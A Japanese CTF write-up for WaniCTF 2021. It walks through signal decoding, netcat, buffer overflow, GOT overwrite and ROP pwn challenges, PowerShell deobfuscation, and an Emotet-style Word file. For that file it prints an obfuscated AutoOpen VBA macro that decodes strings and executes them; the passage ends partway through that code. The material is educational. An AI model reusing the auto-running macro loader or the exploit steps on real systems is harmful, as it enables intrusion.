縦軸が信号強度、横軸が時間。点が密集して明確なシグナルが見える。Highシグナルが分布している強度範囲はプラマイ0.006以下となっているので、これより大きな値をノイズとして除去する。またLowシグナルは0.0003以下の領域に固まっていることから、これを閾値にHighとLowを分離する。データは前回の問題と同じく、16個を一つにまとめる。16個ずつデータをまとめて比較して、平均値からHighかLowかを判断している。
懲りずにJavaScriptでsolverを書いた。
<pre id="input">0.000000 ,-3.05E-05,-1.53E-04
0.000004 ,-1.22E-04,-1.53E-04
0.000008 ,-3.05E-05,-6.10E-05
0.000012 ,-3.05E-05,0.00E+00
0.000016 ,9.16E-05,-3.05E-05
0.000020 ,9.16E-05,3.05E-05
0.000024 ,9.16E-05,0.00E+00
0.000028 ,6.10E-05,-9.16E-05
0.000032 ,9.16E-05,-1.22E-04
0.000036 ,6.10E-05,0.00E+00
0.000040 ,-1.83E-04,0.00E+00
0.000044 ,-9.16E-05,-1.22E-04
0.000048 ,6.10E-05,-9.16E-05
0.000052 ,-9.16E-05,-9.16E-05
0.000056 ,-9.16E-05,-1.53E-04
0.000060 ,3.05E-05,-3.05E-05
0.000064 ,-9.16E-05,3.05E-05
0.000068 ,-6.10E-05,0.00E+00
0.000072 ,-9.16E-05,-1.83E-04
0.000076 ,6.10E-05,-1.53E-04
0.000080 ,1.22E-04,-1.22E-04
0.000084 ,1.53E-04,-1.22E-04
0.000088 ,-3.05E-05,0.00E+00
0.000092 ,6.10E-05,9.16E-05
(省略)
0.030960 ,1.22E-04,1.22E-04
0.030964 ,0.00E+00,1.53E-04
0.030968 ,0.00E+00,0.00E+00
0.030972 ,9.16E-05,-1.83E-04
0.030976 ,0.00E+00,-1.53E-04
0.030980 ,-9.16E-05,-1.22E-04
0.030984 ,3.05E-05,-3.05E-05
0.030988 ,1.22E-04,0.00E+00
0.030992 ,6.10E-05,1.53E-04
0.030996 ,3.05E-05,0.00E+00
0.031000 ,9.16E-05,-1.53E-04
0.031004 ,6.10E-05,-2.44E-04
0.031008 ,9.16E-05,-1.53E-04
0.031012 ,1.22E-04,3.05E-05
0.031016 ,9.16E-05,0.00E+00
0.031020 ,3.05E-05,3.05E-05
0.031024 ,-1.22E-04,3.05E-05
0.031028 ,0.00E+00,2.14E-04
0.031032 ,3.05E-05,1.83E-04
0.031036 ,-9.16E-05,-3.05E-05
0.031040 ,3.05E-05,-9.16E-05
0.031044 ,1.83E-04,-3.05E-05
0.031048 ,2.14E-04,1.22E-04
0.031052 ,0.00E+00,0.00E+00
0.031056 ,-1.22E-04,-1.22E-04
0.031060 ,-1.22E-04,-3.05E-05
</pre>
<pre>
<script>
var inputs = document.getElementById("input").innerHTML.split("\n");
bits = "";
j = 0;
k = 0;
dI = 0;
dQ = 0;
Isum = 0;
Icount = 0;
Qsum = 0;
Qcount = 0;
Idata = [];
Qdata = [];
for(i=0; i<inputs.length; i++) {
j++;
tmp = inputs[i].split(",");
dI = Math.abs(parseFloat(tmp[1]));
dQ = Math.abs(parseFloat(tmp[2]));
if(dI<=0.006){
Icount++;
Isum += (dI>=0.0003)? 1 : 0;
}
if(dQ<=0.006){
Qcount++;
Qsum += (dQ>=0.0003)? 1 : 0;
}
if(j>=16) {
k = Isum/Icount;
if(k>0.5)Idata.push(1);
else Idata.push(0);
k = Qsum/Qcount;
if(k>0.5)Qdata.push(1);
else Qdata.push(0);
j = 0;
Isum = 0;
Icount = 0;
Qcount = 0;
Qsum = 0;
}
}
bits = Idata.join("");
j = 0;
tmp = 0;
str = "";
for(i=6; i<bits.length; i++) {
tmp += (bits.charAt(i)==1)? Math.pow(2,7-j) : 0;
j++;
if(j==8) {
str += String.fromCharCode(tmp);
tmp = 0;
j = 0;
}
}
document.write(str);
</script>
</pre>
ペイロード部分がASCIIコードになるようにオフセットを導入したが、無事flagが出た。
FLAG{you-can-decode-many-IoT-communications}
- netcat (nc)と呼ばれるコマンドを使うだけです。
- つないだら何も出力されなくてもLinuxコマンドを打ってenterを入力してみましょう。
- Linuxの基本的なコマンド集
- pwnの問題ではシェルが取れたときに何も出力されないので分かり辛いですが、とりあえずlsとか実行してみるとシェルが取れてたりすることがあります。
ここまで入門向けを充実させたPwn問群は初めてやった。ncで接続してコマンド打って終了。
$ nc nc.pwn.wanictf.org 9001
welcome to WaniCTF 2021!!!
>ls
chall
flag.txt
redir.sh
>cat flag.txt
FLAG{the-1st-step-to-pwn-is-netcatting}
FLAG{the-1st-step-to-pwn-is-netcatting}
よーし、今日も魔王を倒しに行くか!
...あれ、ふっかつのじゅもんが違う...だと...?
nc bof.pwn.wanictf.org 9002
簡単なBOF問題である。ソースコードの掲載は割愛するが、たくさん文字列を入れてバッファを溢れさせればflagが出る。
$ nc bof.pwn.wanictf.org 9002
ふっかつのじゅもんを いれてください
>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
よくぞもどられた!
FLAG{D0_y0U_kN0w_BuFf3r_0Ver_fL0w?_ThA2k_y0U_fOR_s01v1ng!!}
Segmentation fault (core dumped)
FLAG{D0_y0U_kN0w_BuFf3r_0Ver_fL0w?_ThA2k_y0U_fOR_s01v1ng!!}
- 「参考になるwriteupを探す練習」用の問題です。
- CTFではwriteupを探すと過去の問題で参考になる情報が載っているページがあったりすることが多く、それを読みながら少しずつ自分の技術力を高めていきます。
- この問題ではgot rewriter writeup WaniCTFでググると参考になるページが出てくるかもしれません。
通常であればこの時点でPwnToolsを使って面倒なコードを書かなければならないところだが、親切な実行ファイルにて簡単にgotを書き換えられる。
予め実行ファイルを逆アセンブルしてprintf関数のアドレスを調べておく。今回は0x601038になっているので、Please input target addressに0x601038と入力し、これにwinのアドレスを入れればwinに飛ぶ。
$ nc got-rewriter.pwn.wanictf.org 9003
Welcome to GOT rewriter!!!
win = 0x400807
Please input target address (0x600000-0x700000): 0x601038
Your input address is 0x601038.
Please input rewrite value: 0x400807
Your input rewrite value is 0x400807.
*0x601038 <- 0x400807.
congratulation!
>ls
chall
flag.txt
redir.sh
>cat flag.txt
FLAG{you-are-pro-pwner-or-learned-how-to-find-writeup}
FLAG{you-are-pro-pwner-or-learned-how-to-find-writeup}
- 「参考になるwriteupを探す練習」用の問題です。
- CTFではwriteupを探すと過去の問題で参考になる情報が載っているページがあったりすることが多く、それを読みながら少しずつ自分の技術力を高めていきます。
- rop-machineを使った問題はWaniCTF'21-springでも出しています。
- githubでwanictf rop writeupで検索すると何か出てくるかもしれません。
- rop machineの使い方->https://github.com/wani-hackase/rop-machine/
こちらもropを自動で積んでくれる便利な問題。
bin/shのアドレスも与えられている。スタックにpop rdi; retを積み、bin/shのアドレスを積み、最後にsystemを積むと、systemコールでbin/shが実行される。
$ nc rop-machine-returns.pwn.wanictf.org 9004
welcome to rop-machine-returns!!!
"/bin/sh" address is 0x404070
[menu]
1. append hex value
2. append "pop rdi; ret" addr
3. append "system" addr
8. show menu (this one)
9. show rop_arena
0. execute rop
> 2
"pop rdi; ret" is appended
> 1
hex value?: 404070
0x0000000000404070 is appended
> 3
"system" is appended
> 0
rop_arena
+--------------------+
| pop rdi; ret |<- rop start
+--------------------+
| 0x0000000000404070 |
+--------------------+
| system |
+--------------------+
>ls
chall
flag.txt
redir.sh
>cat flag.txt
FLAG{please-learn-how-to-use-rop-machine}
FLAG{please-learn-how-to-use-rop-machine}
この問題はltraceで解ける...ってコト!?
$ sudo apt-get install -y ltrace
$ ltrace --help
ヒント : オプションをよく確認しよう
問題文通りltraceをインストールして配布された実行ファイルをltraceで実行。ただしflagが長いため省略されないように-sオプションで適当に長い数字を指定しておく。
$ ltrace -s 512 ./ltrace
printf("Input flag : ") = 13
__isoc99_scanf(0x5641267af012, 0x7ffc12e4ce20, 0, 0Input flag : hoge
) = 1
strcmp("hoge", "FLAG{c4n_y0u_7r4c3_dyn4m1c_l1br4ry_c4ll5?}") = 34
puts("Incorrect"Incorrect
) = 10
+++ exited (status 1) +++
FLAG{c4n_y0u_7r4c3_dyn4m1c_l1br4ry_c4ll5?}
Power!!!
難読化された次のPowerShellスクリプトが配布される。
(("{39}{4}{12}{45}{21}{0}{36}{25}{26}{27}{7}{13}{30}{16}{31}{48}{23}{18}{19}{20}{24}{28}{3}{38}{11}{5}{2}{8}{46}{34}{29}{1}{35}{15}{10}{33}{9}{32}{22}{37}{40}{6}{43}{17}{47}{44}{14}{41}{42}"-f ' world of PowerShe','d_p','cl','d3','ch','1n_','else','ost cW4Passwo','34r1n68r30b','{
Writ','l}','_','o ','r','W4Incor','w3r5h3l','W','
','t ','-eq c','W4FLAG{','he','t c','(fj7inpu','y0u_','fj7input =',' ','Read-H','5ucc33','473','dc','4','e-Outpu','cW4) ','u5c','0','ll!cW4
','W4Co','d','e','rrect!cW4
} ','rec','tcW4
}
',' {','tput c','cW4Welcome to t','f',' Write-Ou','
if ')).replACe('cW4',[STRiNg][CHAr]34).replACe('8r3',[STRiNg][CHAr]95).replACe('fj7',[STRiNg][CHAr]36) |& ( $VErboSEPReFErencE.TostRIng()[1,3]+'x'-Join'')
そのまま実行するとパスワード(flag)を質問してくるプログラムになっている。難読化解除後の実行される前のコードが手に入ればいいので、一番最後の|& ( $VErboSEPReFErencE.TostRIng()[1,3]+'x'-Join'')
を削除して実行すればいい。
PS h> .\pwsh_kai.ps1
echo "Welcome to the world of PowerShell!"
$input = Read-Host "Password"
if ($input -eq "FLAG{y0u_5ucc33d3d_1n_cl34r1n6_0bfu5c473d_p0w3r5h3ll}") {
Write-Output "Correct!"
} else {
Write-Output "Incorrect"
}
FLAG{y0u_5ucc33d3d_1n_cl34r1n6_0bfu5c473d_p0w3r5h3ll}
なんかヤバそうなファイルが添付されたメールが届いちゃった。
これってもしかしてあのEmo---だったり...?
注意
- zipのパスワードは「emoemotet」です
- このファイルは競技用に作成されたもので、システムに害を与えるプログラムは含まれていません
- このファイルは一部のアンチウイルスソフトによって誤検知され削除されることがあります
- Windows, Wordがなくても解くことができます
- ヒント : https://github.com/decalage2/oletools
難読化されたマクロがセットされたWordファイルが配布される。ヒントに従ってoletoolsをインストールして、olevba emoemotet.doc
でファイルに含まれているVBAコードを引きずり出す。
Private InitDone As Boolean
Private Map1(0 To 63) As Byte
Private Map2(0 To 127) As Byte
Sub AutoOpen()
CreateObject(unxor(Array(135, 46, 140, 24, 228, 225, 126, 169, 34, 40, 56), 3) & unxor(Array(201, 1), 14)).Run unxor(Array(137, 123, 117, 87, 89, 140, 200, 174, 138, 204, 135, 229, 75, 9, 168, 39, 117, 219, 2, 212, 118, 230, 128, 213, 197, 44, 99, 93, 193, 144, 49, 210, 70, 175, 228, 16, 187, 75, 36, 215, 144, 31, 223, 159, 127, 45, 9, 205, 183, 34), 16) & _
unxor(Array(199, 228, 3, 153, 81, 192, 25, 128, 137, 147, 136, 23, 7, 80, 224, 108, 203, 255, 197, 21, 174, 66, 117, 184, 52, 127, 71, 19, 183, 239, 29, 155, 18, 223, 159, 241, 35, 183, 202, 179, 22, 101, 99, 100, 54, 218, 32, 33, 142, 198, 175, 159, 29, 205, 110, 154, 65, 22, 247, 152, 91, 192, 108, 145, 58, 203, 25, 158, 99, 37, 128, 229, 54, 60, 38, 178, 134, 208, 68, 38, 39, 99, 76, 155, 56, 147, 53, 156, 203), 66) & _
unxor(Array(102, 198, 208, 164, 182, 203, 117, 231, 127, 219, 94, 126, 10, 162, 173, 72, 207, 156, 150, 219, 167, 117, 27, 172, 242, 233, 32, 72, 61, 65, 178, 142, 245, 133, 139, 29, 181, 134, 18, 199, 242, 233, 14, 5, 134, 127, 212, 91, 91, 8, 171, 90, 25, 109, 198, 97, 6, 157, 10, 45, 214, 27, 185, 134, 246, 145, 32, 196, 221, 131, 137, 27, 100, 146, 80, 67, 177, 161, 71, 193, 155, 175, 42, 192, 227, 172, 239, 123, 92), 155) & _
unxor(Array(234, 141, 79, 179, 223, 15, 203, 43, 171, 112, 201, 234, 98, 141, 170, 14, 174, 104, 46, 107, 122, 18, 176, 138, 238, 208, 78, 126, 217, 208, 197, 2, 219, 144, 118, 145, 213, 45, 173, 225, 233, 161, 66, 174, 198, 108, 46, 184, 249, 150, 178, 36, 223, 5, 41, 60, 105, 114, 110, 110, 40, 134, 139, 35, 41, 235, 57, 182, 60, 105, 58, 175, 196, 240, 224, 144, 250, 156, 14, 138, 217, 9, 147, 115, 55, 194, 186, 162, 79), 244) & _
unxor(Array(209, 193, 20, 114, 189, 230, 8, 167, 240, 61, 224, 242, 135, 166, 38, 7, 87, 151, 117, 148, 46, 97, 158, 117, 106, 143, 40, 126, 199, 26, 83, 196, 211, 16, 152, 203, 123, 22, 248, 60, 127, 38, 179, 12, 140, 170, 29, 148, 133, 77, 82, 213, 53, 92, 146, 151, 236, 151, 74, 37, 118, 16, 28, 157, 49, 18, 131, 195, 167, 133, 54, 214, 12, 248, 32, 108, 36, 131, 65, 250, 97, 12, 26, 10, 182, 16, 34, 15, 10), 333) & _
unxor(Array(81, 75, 148, 28, 3, 254, 84, 127, 57, 78, 30, 146, 239, 82, 115, 175, 20, 208, 87, 218, 140, 50, 189, 210, 111, 35, 12, 128, 1, 116, 208, 150, 230, 88, 166, 120, 35, 106, 166, 121, 243, 216, 251, 46, 25, 196, 102, 54, 130, 52, 233, 123, 103, 240, 146, 114, 144, 49, 205, 121, 89, 126, 226, 239, 23, 51, 71, 7, 184, 111, 154, 71, 39, 28, 191, 99, 43, 237, 59, 241, 187, 84, 205, 162, 82, 62, 227, 183, 145), 422) & _
unxor(Array(220, 194, 134, 110, 158, 136, 28, 157, 6, 28, 18, 29, 219, 15, 42, 69, 202, 26, 210, 214, 48, 60, 156, 210, 88, 81, 191, 153, 36, 72, 192, 205, 71, 101, 125, 96, 84, 172, 113, 120, 112, 252, 31, 16, 92, 180, 3, 4, 127, 58, 214, 173, 165, 31, 64, 250, 139, 176, 79, 89, 136, 249, 48, 37, 153, 201, 184, 51, 155, 186, 96, 121, 74, 163, 28, 131, 230, 74, 186, 237, 17, 163, 101, 17, 51, 1, 78, 40, 101), 511) & _
unxor(Array(173, 96, 11, 202, 44, 219, 158, 69, 217, 56, 179, 84, 118, 152, 185, 163, 20, 92, 3, 211, 142, 226, 92, 27, 150, 191, 222, 95, 105, 58, 87, 200, 109, 108, 90, 41, 190, 252, 39, 215, 215, 150, 117, 140, 19, 0, 206, 174, 60, 83, 253, 136, 153, 112, 28, 55, 54, 1, 131, 65, 74, 92, 97, 135, 64, 80, 192, 181, 183, 54, 130, 9, 197, 65, 182, 38, 196, 1, 248, 217, 155, 50, 57, 1, 135, 114, 53, 68, 126), 600) & _
unxor(Array(246, 123, 20, 204, 50, 152, 85, 111, 106, 210, 2, 247, 48, 159, 65, 255, 33, 131, 91, 157, 245, 204, 232, 223, 23, 163, 243, 109, 81, 181, 198, 99, 13, 150, 202, 151, 133, 228, 53, 192, 53, 212, 255, 30, 218, 222, 76, 176, 230, 46, 127, 0, 251, 133, 0, 75, 6, 98, 143, 221, 135, 70, 86, 153, 72, 105, 167, 91, 77, 86, 67, 240, 157, 143, 239, 49, 103, 247, 44, 158, 232, 23, 50, 225, 15, 179, 237, 94, 120), 689) & _
unxor(Array(21, 83, 142, 200, 60, 47, 222, 133, 241, 121, 102, 78, 134, 204, 252, 118, 74, 8, 97, 95, 138, 94, 62, 159, 44, 75, 147, 70, 175, 185, 75, 205, 218, 38, 251, 211, 199, 207, 11, 12, 118, 242, 74, 62, 19, 187, 36, 239, 38, 120, 58, 21, 17, 110, 113, 192, 57, 6, 111, 168, 102, 244, 147, 53, 151, 47, 247, 65, 123, 74, 183, 87, 167, 131, 236, 21, 60, 168, 168, 109, 249, 113, 164, 208, 138, 110, 252, 219, 183), 778) & _
unxor(Array(220, 77, 218, 41, 229, 2, 88, 252, 106, 253, 236, 187, 215, 59, 193, 15, 32, 150, 231, 159, 48, 149, 160, 224, 111, 182, 39, 147, 118, 135, 109, 38, 249, 118, 63, 205, 247, 94, 37, 175, 100, 222, 164, 108, 71, 245, 42, 113, 7, 181, 87, 188, 28, 71, 172, 75, 129, 136, 82, 8, 238, 65, 105, 125, 243, 190, 156, 168, 181, 28, 153, 190, 197, 25, 147, 84, 135, 79, 188, 11, 18, 30, 138, 195, 228, 177, 172, 230, 163), 867) & _
unxor(Array(116, 194, 246, 44, 213, 63, 75, 126, 78, 201, 230, 241, 205, 28, 240, 125, 46, 241, 50, 61, 113, 118, 113, 86, 190, 61, 41, 156, 140, 82, 85, 106, 154, 150, 116, 59, 37, 253, 214, 245, 112, 156, 68, 246, 220, 182, 181, 189, 58, 225, 9, 164, 170, 238, 237, 86, 187, 55, 95, 125, 41, 240, 254, 175, 112, 213, 7, 13, 2, 246, 86, 176, 29, 97, 105, 229, 127, 121, 158, 77, 51, 32, 116, 104, 213, 158, 211, 231, 161), 956) & _
unxor(Array(129, 43, 134, 12, 8, 25, 228, 210, 145, 230, 100, 15, 197, 93, 157, 207, 26, 89, 220, 180, 84, 164, 102, 26, 249, 193, 34, 39, 225, 173, 136, 48, 2, 189, 79, 149, 126, 91, 99, 100, 89, 230, 239, 55, 238, 118, 200, 215, 212, 103, 180, 29, 169, 169, 86, 253, 76, 43, 205, 184, 10, 200, 239, 162, 140, 127, 45, 214, 133, 132, 32, 46, 221, 66, 49, 28, 237, 233, 29, 55, 34, 233, 243, 91, 27, 182, 146, 58, 210), 1045) & _
unxor(Array(221, 59, 115, 92, 39, 169, 26, 171, 5, 50, 197, 131, 119, 184, 107, 4, 29, 192, 53, 48, 132, 208, 65, 239, 155, 255, 215, 11, 24, 223, 136, 184, 64, 53, 126, 130, 187, 163, 164, 231, 37, 66, 251, 28, 11, 234, 2, 4, 164, 226, 66, 129, 205, 228, 64, 161, 54, 125, 62, 224, 56, 131, 134, 191, 223, 120, 130, 17, 7, 109, 154, 190, 7, 142, 154, 136, 163, 62, 125, 20, 97, 205, 30, 51, 252, 229, 116, 237, 29), 1134) & _
unxor(Array(250, 244, 208, 17, 50, 212, 135, 122, 49, 134, 155, 37, 131, 204, 239, 166, 215, 221, 49, 134, 92, 63, 41, 197, 73, 176, 26, 30, 134, 119, 176, 123, 215, 56, 159, 8, 66, 175, 127, 67, 73, 174, 128, 162, 142, 209, 1, 136, 92, 160, 147, 191, 233, 99, 132, 42, 11, 107, 188, 42, 221, 194, 18, 107, 174, 79, 16, 20, 104, 155, 183, 188, 119, 207, 27, 251, 1, 131, 14, 91, 61, 115, 233, 57, 143, 178, 128, 246, 87), 1223) & _
unxor(Array(214, 95, 231, 84, 214, 176, 235, 78, 206, 44, 143, 68, 150, 97, 49, 48, 56, 82, 156, 68, 43, 117, 63, 134, 143, 30, 38, 64, 222, 22), 1312)
End Sub
Public Function Base64Decode(ByVal s As String) As Byte()
If Not InitDone Then Init
Dim IBuf() As Byte: IBuf = ConvertStringToBytes(s)
Dim ILen As Long: ILen = UBound(IBuf) + 1
If ILen Mod 4 <> 0 Then Err.Raise vbObjectError, , ""
Do While ILen > 0
If IBuf(ILen - 1) <> Asc("=") Then Exit Do
ILen = ILen - 1
Loop
Dim OLen As Long: OLen = (ILen * 3) \ 4
Dim Out() As Byte
ReDim Out(0 To OLen - 1) As Byte
Dim ip As Long
Dim op As Long
Do While ip < ILen
Dim i0 As Byte: i0 = IBuf(ip): ip = ip + 1
Dim i1 As Byte: i1 = IBuf(ip): ip = ip + 1
Dim i2 As Byte: If ip < ILen Then i2 = IBuf(ip): ip = ip + 1 Else i2 = Asc("A")
Dim i3 As Byte: If ip < ILen Then i3 = IBuf(ip): ip = ip + 1 Else i3 = Asc("A")
If i0 > 127 Or i1 > 127 Or i2 > 127 Or i3 > 127 Then _
Err.Raise vbObjectError, , ""
Dim b0 As Byte: b0 = Map2(i0)
Dim b1 As Byte: b1 = Map2(i1)
Dim b2 As Byte: b2 = Map2(i2)
Dim b3 As Byte: b3 = Map2(i3)
If b0 > 63 Or b1 > 63 Or b2 > 63 Or b3 > 63 Then _
Err.Raise vbObjectError, , ""
Dim o0 As Byte: o0 = (b0 * 4) Or (b1 \ &H10)
Dim o1 As Byte: o1 = ((b1 And &HF) * &H10) Or (b2 \ 4)
Dim o2 As Byte: o2 = ((b2 And 3) * &H40) Or b3
Out(op) = o0: op = op + 1
If op < OLen Then Out(op) = o1: op = op + 1
If op < OLen Then Out(op) = o2: op = op + 1
Loop
Base64Decode = Out
End Function
Private Sub Init()
Dim c As Integer, i As Integer
i = 0
For c = Asc("A") To Asc("Z"): Map1(i) = c: i = i + 1: Next
For c = Asc("a") To Asc("z"): Map1(i) = c: i = i + 1: Next
For c = Asc("0") To Asc("9"): Map1(i) = c: i = i + 1: Next
Map1(i) = Asc("+"): i = i + 1
Map1(i) = Asc("/"): i = i + 1
For i = 0 To 127: Map2(i) = 255: Next
For i = 0 To 63: Map2(Map1(i)) = i: Next
InitDone = True
End Sub
Private Function ConvertStringToBytes(ByVal s As String) As Byte()
Dim b1() As Byte: b1 = s
Dim l As Long: l = (UBound(b1) + 1) \ 2
If l = 0 Then ConvertStringToBytes = b1: Exit Function
Dim b2() As Byte
ReDim b2(0 To l - 1) As Byte
Dim p As Long
For p = 0 To l - 1
Dim c As Long: c = b1(2 * p) + 256 * CLng(b1(2 * p + 1))
If c >= 256 Then c = Asc("?")
b2(p) = c
Next
ConvertStringToBytes = b2
End Function
Private Function unxor(ciphertext As Variant, start As Integer)
Dim cleartext As String
Dim key() As Byte
key = Base64Decode("rFd10H3vao2RCodxQF2lbfkUAjIr/6DL5qCnyC4p5EA0tEOXFafhhIdAIhum0XulB9+lU9wKRrDSWZ7XHGxFnPVUhqNK2DCnW8bI1MVWYxGhC4q5iFT5EzfCdTcWUu2+X9VTnKuwcOaIxVcmVyVjrWIRz4Dm3kecLNgAU8fZOKcu/XuMXN85ZMKjd3Rv882RBUFmICvacdJ36Yojk5HAwYoBpjjjHydt4NwJisnXgtA3K+2xqGEBfAPmz73uyn7CxCKGt7xPUdc+oRoeY+oObiyzIEPQS3mhWffHsNBhkbrBz1os3xEgxuM3gN6Xa5SE7Zo6G7vMFeKdYops3DGQuyDY60v7KXscOCLxwqeRFC+buIRH69E90JdP7KSC4CDZhxlv/cnX6HWdcWh7UTM7CWqzymtkqm/3fjp76pGxscG40k/M6UjaMnWg++oCkJZFMMenTvaxZ7GwyedlMxbOAtZ+INlBK+tPPIFbG42SRtmJH1e8Uz5p1E7h61vdxBkl" & _
"l3sd196txhtnIlFZyHBc5IKXxHCbTa5hLl3CBpEgbn1I2FFhaEsYCtVyQrkdPmA5X6CuFhjuRacVoM131pMLVE7IQDG717EZ5BdiLOc4pb+5Q1iMAXfQQ6soJrjxM8ZgjzQYO5WuQkQFdfko6QZEa/0QaqhysOozj/sTeoj2wI2A0C/bwV35cV5EXJNOawqbWJCXdwzdsD8QjNhiDYGYFicJIRD5MBshvm1RGv1CZz54n+ziSgGe2vJ6GMy4cWv+i+hy0/shNgvhVcKuJfuPZuFUUHtqD3w07yZKj2ma+iKYCvIRO9nu8lYOQpbbowha1OyfGzx7BJkvJxth3b1xoJaiNMRwQZz/fiC8zvYxTlB0bsIHKR07xgI8gfCDd+NIhwL3YbdAor7ZfHhH3jNhBTykOlyrc/0yLQSTR8dx0BC9QMIerbSCqZ1Q4rUGEPiXIVvXjtrEhnSBTZW4U5uJHfGQbzlVuuRRCUAjyIzGCDHbDCjvEgwbNLLEzqdeJrh9" & _
"3K1WddVO4bwcKlQb14luWJzBsDwrD8u7vi8LTRIe6A982G0Oygf6+Am9m2GIkp6eSWY3tSF/cOpmuWc+d1RCPzO5eEAm6TWT0ULWZ5QAMD31GObEpVRZ+eoCuDSckd0JvrP2lBSbZKRADL0unq3vhnmyTmflpvtH15ahJ+9mxgHGH2exGX6vgBx17iyx5T4WtBowQsIW310F1QrH6xNfvwM9PLv/3czSXs//jUDSB/AN60pVccuZtfPvp+ZMg6d9l0UKNiWIq7CMKbE7Z7BWWjNEMBPdfGbNzmQULvHXOXpnlZeyNd0ht57x9PljoFDD6N+sEuJ2DRprg7/qNZRJekOAF/VIID2SPgDfCkRhLg+Xq5KgysBO4U5nWKGD0IM1TYcc24pbCY31beUlebiKc2aS7MtxQ+o41wQaJQ8Ys5h13jeNgpUz5Vzc6BGWDUm6+X+Jqu/NK1qUy8Vmb5wXVl6BqFt6Y7yEGWv31QKTiVwyKWbuV+pRRYf3NvAqRX6n" & _
"d1zFmAyuzoiVe1masPkUUjz2+uacpn8DuVpKrDJF64UDt4yhEeBsLHykecS+/r0pwEBGJdP/Vd/Y3OJ4MFUqnF9UvaYfrFG7trJQepnGH2DE4WTFna70hp9Fxx8LaJMI8lxfwBDxH5Z56kkF+j4hLuzq48vpQNId4tn+rFfFeHwp2GuZrVMkyQ1SVSDW9uUAjWu6ROhPEGwyjnjM2cG6MJQmphOD8bIfjGnOAscgU0d6FN0BHzRtx85xZwO1Vw==")
cleartext = ""
For i = LBound(ciphertext) To UBound(ciphertext)
cleartext = cleartext & Chr(key(i + start) Xor ciphertext(i))
Next
unxor = cleartext
End Function
一番最初の方の数字がたくさん並んでいるところで、復号された文字列でCreateObjectしてRunをかけ、その後の文字列で引数を与えているようだ。
やや邪悪な解法だが、この部分の文字列を実行ではなく出力するだけの次のVBAを作成してExcelで走らせた。まあ無害だしね。
Private InitDone As Boolean
Private Map1(0 To 63) As Byte
Private Map2(0 To 127) As Byte
Private str1, str2, filename As String
Sub AutoOpen()
str1 = unxor(Array(135, 46, 140, 24, 228, 225, 126, 169, 34, 40, 56), 3) & unxor(Array(201, 1), 14)
str2 = unxor(Array(137, 123, 117, 87, 89, 140, 200, 174, 138, 204, 135, 229, 75, 9, 168, 39, 117, 219, 2, 212, 118, 230, 128, 213, 197, 44, 99, 93, 193, 144, 49, 210, 70, 175, 228, 16, 187, 75, 36, 215, 144, 31, 223, 159, 127, 45, 9, 205, 183, 34), 16) & _
unxor(Array(199, 228, 3, 153, 81, 192, 25, 128, 137, 147, 136, 23, 7, 80, 224, 108, 203, 255, 197, 21, 174, 66, 117, 184, 52, 127, 71, 19, 183, 239, 29, 155, 18, 223, 159, 241, 35, 183, 202, 179, 22, 101, 99, 100, 54, 218, 32, 33, 142, 198, 175, 159, 29, 205, 110, 154, 65, 22, 247, 152, 91, 192, 108, 145, 58, 203, 25, 158, 99, 37, 128, 229, 54, 60, 38, 178, 134, 208, 68, 38, 39, 99, 76, 155, 56, 147, 53, 156, 203), 66) & _
unxor(Array(102, 198, 208, 164, 182, 203, 117, 231, 127, 219, 94, 126, 10, 162, 173, 72, 207, 156, 150, 219, 167, 117, 27, 172, 242, 233, 32, 72, 61, 65, 178, 142, 245, 133, 139, 29, 181, 134, 18, 199, 242, 233, 14, 5, 134, 127, 212, 91, 91, 8, 171, 90, 25, 109, 198, 97, 6, 157, 10, 45, 214, 27, 185, 134, 246, 145, 32, 196, 221, 131, 137, 27, 100, 146, 80, 67, 177, 161, 71, 193, 155, 175, 42, 192, 227, 172, 239, 123, 92), 155) & _
unxor(Array(234, 141, 79, 179, 223, 15, 203, 43, 171, 112, 201, 234, 98, 141, 170, 14, 174, 104, 46, 107, 122, 18, 176, 138, 238, 208, 78, 126, 217, 208, 197, 2, 219, 144, 118, 145, 213, 45, 173, 225, 233, 161, 66, 174, 198, 108, 46, 184, 249, 150, 178, 36, 223, 5, 41, 60, 105, 114, 110, 110, 40, 134, 139, 35, 41, 235, 57, 182, 60, 105, 58, 175, 196, 240, 224, 144, 250, 156, 14, 138, 217, 9, 147, 115, 55, 194, 186, 162, 79), 244) & _
unxor(Array(209, 193, 20, 114, 189, 230, 8, 167, 240, 61, 224, 242, 135, 166, 38, 7, 87, 151, 117, 148, 46, 97, 158, 117, 106, 143, 40, 126, 199, 26, 83, 196, 211, 16, 152, 203, 123, 22, 248, 60, 127, 38, 179, 12, 140, 170, 29, 148, 133, 77, 82, 213, 53, 92, 146, 151, 236, 151, 74, 37, 118, 16, 28, 157, 49, 18, 131, 195, 167, 133, 54, 214, 12, 248, 32, 108, 36, 131, 65, 250, 97, 12, 26, 10, 182, 16, 34, 15, 10), 333) & _
unxor(Array(81, 75, 148, 28, 3, 254, 84, 127, 57, 78, 30, 146, 239, 82, 115, 175, 20, 208, 87, 218, 140, 50, 189, 210, 111, 35, 12, 128, 1, 116, 208, 150, 230, 88, 166, 120, 35, 106, 166, 121, 243, 216, 251, 46, 25, 196, 102, 54, 130, 52, 233, 123, 103, 240, 146, 114, 144, 49, 205, 121, 89, 126, 226, 239, 23, 51, 71, 7, 184, 111, 154, 71, 39, 28, 191, 99, 43, 237, 59, 241, 187, 84, 205, 162, 82, 62, 227, 183, 145), 422) & _
unxor(Array(220, 194, 134, 110, 158, 136, 28, 157, 6, 28, 18, 29, 219, 15, 42, 69, 202, 26, 210, 214, 48, 60, 156, 210, 88, 81, 191, 153, 36, 72, 192, 205, 71, 101, 125, 96, 84, 172, 113, 120, 112, 252, 31, 16, 92, 180, 3, 4, 127, 58, 214, 173, 165, 31, 64, 250, 139, 176, 79, 89, 136, 249, 48, 37, 153, 201, 184, 51, 155, 186, 96, 121, 74, 163, 28, 131, 230, 74, 186, 237, 17, 163, 101, 17, 51, 1, 78, 40, 101), 511) & _
unxor(Array(173, 96, 11, 202, 44, 219, 158, 69, 217, 56, 179, 84, 118, 152, 185, 163, 20, 92, 3, 211, 142, 226, 92, 27, 150, 191, 222, 95, 105, 58, 87, 200, 109, 108, 90, 41, 190, 252, 39, 215, 215, 150, 117, 140, 19, 0, 206, 174, 60, 83, 253, 136, 153, 112, 28, 55, 54, 1, 131, 65, 74, 92, 97, 135, 64, 80, 192, 181, 183, 54, 130, 9, 197, 65, 182, 38, 196, 1, 248, 217, 155, 50, 57, 1, 135, 114, 53, 68, 126), 600) & _
